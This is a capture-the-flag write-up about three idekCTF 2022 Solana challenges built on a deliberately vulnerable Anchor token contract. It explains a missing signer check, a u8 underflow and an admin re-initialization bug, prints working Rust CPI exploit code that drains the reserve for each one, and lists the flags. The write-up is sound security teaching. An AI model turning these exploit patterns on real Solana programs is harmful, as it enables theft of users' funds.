idekCTF 2022 Solana Challenges Write-up
Preface
This is a write-up for a CTF that took place several months ago. I was able to solve these challenges quickly during the CTF, so I did not feel the need to write a write-up for them at the time. However, as I have been revisiting Solana vulnerabilities, I believe these challenges are still worth documenting. In addition, this write-up serves to build upon my previous post on Solana Smart Contract exploitation.
idekCTF 2022 - Blockchain 1, 2 & 3
Given files
There are three challenges in this CTF, all of which implement the same smart contract. The only difference between them is that the first challenge has multiple bugs, while the later ones have one bug fixed at a time. All of them are written using the Anchor Framework, and the file structure is exactly the same as the Simple Staking
challenge in my previous post. Some of the important files are:
framework/chall/program/chall/src/lib.rs
: the implementation of the target contract.framework/chall/src/main.rs
: the implementation of the initializations on the server using Solana CTF Framework.framework-solve/solve/program/solve/src/lib.rs
andframework-solve/solve/src/main.rs
: the implementaion of our exploit contract and the its invocation.
The target contract functionalities
The smart contract is straightforward and has the purpose of allowing users to withdraw tokens from a reserve account. However, the naming of the instructions can be confusing, as they are named Initialize
, Register
, Attempt
, and Deposit
, instead of the expected Withdraw
. To explain the functionalities, I will be using the source code of Blockchain 1
.
Firstly, the Initialize
instruction takes an admin
account and sets it as the admin of the global config
account. Usually, the Initialize
instruction can be ignored, but in this case, there is a subtle bug here, which I will explain in a later section.
pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
let config = &mut ctx.accounts.config;
config.admin = ctx.accounts.admin.key();
Ok(())
}
#[derive(Accounts)]
pub struct Initialize<'info> {
// ...
pub admin: Signer<'info>,
// ...
}
The Register
instruction is used to set up a user’s record account, which contains their public key and an amount of tries
. Initially, this is set to MAXIMUM_TRIES
, which is 3. This value is important for the next instruction.
pub fn register(ctx: Context<Register>) -> Result<()> {
let record = &mut ctx.accounts.user_record;
record.user = ctx.accounts.user.key();
record.tries = MAXIMUM_TRIES;
msg!("[CHALL] register: user {}, tries {}", record.user, record.tries);
Ok(())
}
The next instruction Attempt
is an unusual one. It is used to withdraw token from the reserve account to the user’s account, but the amount of token that will be withdrawn is the amount of tries
. After each withdrawal, this value will be decremented.
pub fn attempt(ctx: Context<Attempt>) -> Result<()> {
let record = &mut ctx.accounts.record;
msg!("[CHALL] attempt.tries {}", record.tries);
if record.tries > 0 {
// ...
let withdraw_ctx = CpiContext::new_with_signer(
ctx.accounts.token_program.to_account_info(),
Transfer {
from: ctx.accounts.reserve.to_account_info(),
to: ctx.accounts.user_account.to_account_info(),
authority: ctx.accounts.reserve.to_account_info()
},
signer
);
token::transfer(withdraw_ctx, record.tries as u64)?;
}
record.tries -= 1;
Ok(())
}
Finally, the Deposit
instruction is just a normal withdraw instruction (yes, it is withdraw, not deposit, the naming is very weird here), where users can withdraw a desired amount of tokens from the reserve account.
pub fn deposit(ctx: Context<Deposit>, amount: u64) -> Result<()> {
// ...
let withdraw_ctx = CpiContext::new_with_signer(
ctx.accounts.token_program.to_account_info(),
Transfer {
from: ctx.accounts.reserve.to_account_info(),
to: ctx.accounts.user_account.to_account_info(),
authority: ctx.accounts.reserve.to_account_info()
},
signer
);
token::transfer(withdraw_ctx, amount)?;
Ok(())
}
The server program
The server program for these challenges is straightforward. Here are the steps it follows:
- Create the following accounts:
mint
,payer
,config
,reserve
, anduser
. - Invoke the
Initialize
instruction with thepayer
as the admin account. - Mint 1000 tokens to the
reserve
account. - Create a user’s record account and a user’s token account.
- Invoke the
Register
instruction for the user using the accounts created in the previous step. - Run our exploit contract
- Check if the player has more than 200 tokens. If they do, the flag is printed.
It’s clear that the objective is to acquire over 200 tokens, starting from a balance of 0.
The 1st vulnerability: Missing signer authorization
In Blockchain 1
, the account list for the Deposit
instruction is declared as follows:
#[derive(Accounts)]
pub struct Deposit<'info> {
// ...
pub mint: Account<'info, Mint>,
#[account(mut)]
pub admin: AccountInfo<'info>,
#[account(mut)]
pub user: Signer<'info>,
pub token_program: Program<'info, Token>,
pub system_program: Program<'info, System>,
pub rent: Sysvar<'info, Rent>,
}
Notice how the admin
account is declared as AccountInfo
, while the user
account is declared as Signer
. This is a very basic vulnerability here, as the user can simply sign the transaction themselves and withdraw as many tokens as they wish from the reserve
account (again, the Deposit
instruction means withdraw). One simple invocation is enough to exploit this vulnerability:
let cpi_accounts = chall::cpi::accounts::Deposit {
config: ctx.accounts.config.to_account_info(),
reserve: ctx.accounts.reserve.to_account_info(),
user_account: ctx.accounts.user_account.to_account_info(),
mint: ctx.accounts.mint.to_account_info(),
admin: ctx.accounts.admin.to_account_info(),
user: ctx.accounts.user.to_account_info(),
token_program: ctx.accounts.token_program.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::deposit(cpi_ctx, 1000)?;
The flag for this challenge is idek{b391dba7-4766-4191-9117-55a1202c86d8}
This vulnerability is fixed in Blockchain 2
by changing the admin
account to Signer
and the user
account to AccountInfo
.
The 2nd vulnerability: Integer Underflow
You may have already noticed a vulnerability while reading through the contract’s functionalities above. This vulnerability is related to an Integer Underflow bug in the suspicious instruction Attempt
. In fact, this was the first vulnerability I discovered when solving these challenges, not the previous one.
pub fn attempt(ctx: Context<Attempt>) -> Result<()> {
let record = &mut ctx.accounts.record;
msg!("[CHALL] attempt.tries {}", record.tries);
if record.tries > 0 {
// ...
let withdraw_ctx = CpiContext::new_with_signer(
ctx.accounts.token_program.to_account_info(),
Transfer {
from: ctx.accounts.reserve.to_account_info(),
to: ctx.accounts.user_account.to_account_info(),
authority: ctx.accounts.reserve.to_account_info()
},
signer
);
token::transfer(withdraw_ctx, record.tries as u64)?;
}
record.tries -= 1;
Ok(())
}
If you take a closer look at the code, you’ll notice that record.tries
is decremented OUTSIDE of the if
statement. This means that even when we have 0 tries, we can still invoke this instruction to decrement it further. Because the tries value is declared as a u8
, decrementing it below 0 will cause an integer underflow, resulting in a value of 255. As a consequence, the next Attempt
will withdraw 255 tokens from the reserve account. To exploit this vulnerability, we simply need to invoke Attempt
4 times in a row.
let cpi_accounts = chall::cpi::accounts::Attempt {
reserve: ctx.accounts.reserve.to_account_info(),
record: ctx.accounts.user_record.to_account_info(),
user_account: ctx.accounts.user_account.to_account_info(),
mint: ctx.accounts.mint.to_account_info(),
user: ctx.accounts.user.to_account_info(),
token_program: ctx.accounts.token_program.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::attempt(cpi_ctx)?;
// copy & paste 3 more times
The flag for this challenge is idek{9ad7116e-468a-4968-b579-54a9b4964d9e}
This vulnerability is fixed in Blockchain 3
by putting record.tries -= 1;
into the if
statement.
The 3rd vulnerability: Admin Re-initialization
Remember when I mentioned that the Initialize
instruction is not to be ignored in this case? Indeed, as it turns out, the final vulnerability resides there. This instruction is utilized to establish an admin
for the global config
account. Importantly, the config
account has the init_if_needed
attribute instead of init
, which will NOT trigger an error if the account is already initialized. According to the Anchor documentation, this attribute must be used with care because it is vulnerable to a re-initialization attack. However, there is no mechanism in place to verify the identity of the given admin
, or to check if the config
account already has an existing admin
. As a result, ANY user can execute this instruction and designate themselves as the admin
. This is quite a sneaky bug that took me a bit longer to identify.
To exploit this vulnerability, simply set our user to be the admin using Initialize
, and then withdraw all the tokens using Deposit
:
let cpi_accounts = chall::cpi::accounts::Initialize {
config: ctx.accounts.config.to_account_info(),
reserve: ctx.accounts.reserve.to_account_info(),
mint: ctx.accounts.mint.to_account_info(),
admin: ctx.accounts.user.to_account_info(),
token_program: ctx.accounts.token_program.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::initialize(cpi_ctx)?;
let cpi_accounts = chall::cpi::accounts::Deposit {
config: ctx.accounts.config.to_account_info(),
reserve: ctx.accounts.reserve.to_account_info(),
user_account: ctx.accounts.user_account.to_account_info(),
mint: ctx.accounts.mint.to_account_info(),
admin: ctx.accounts.user.to_account_info(),
user: ctx.accounts.user.to_account_info(),
token_program: ctx.accounts.token_program.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::deposit(cpi_ctx, 1000)?;
The flag for this challenge is idek{4dc99b34-712e-4c6a-952d-4fd0fbac6f6b}
Appendix
- All challenge sources and solutions can be found here.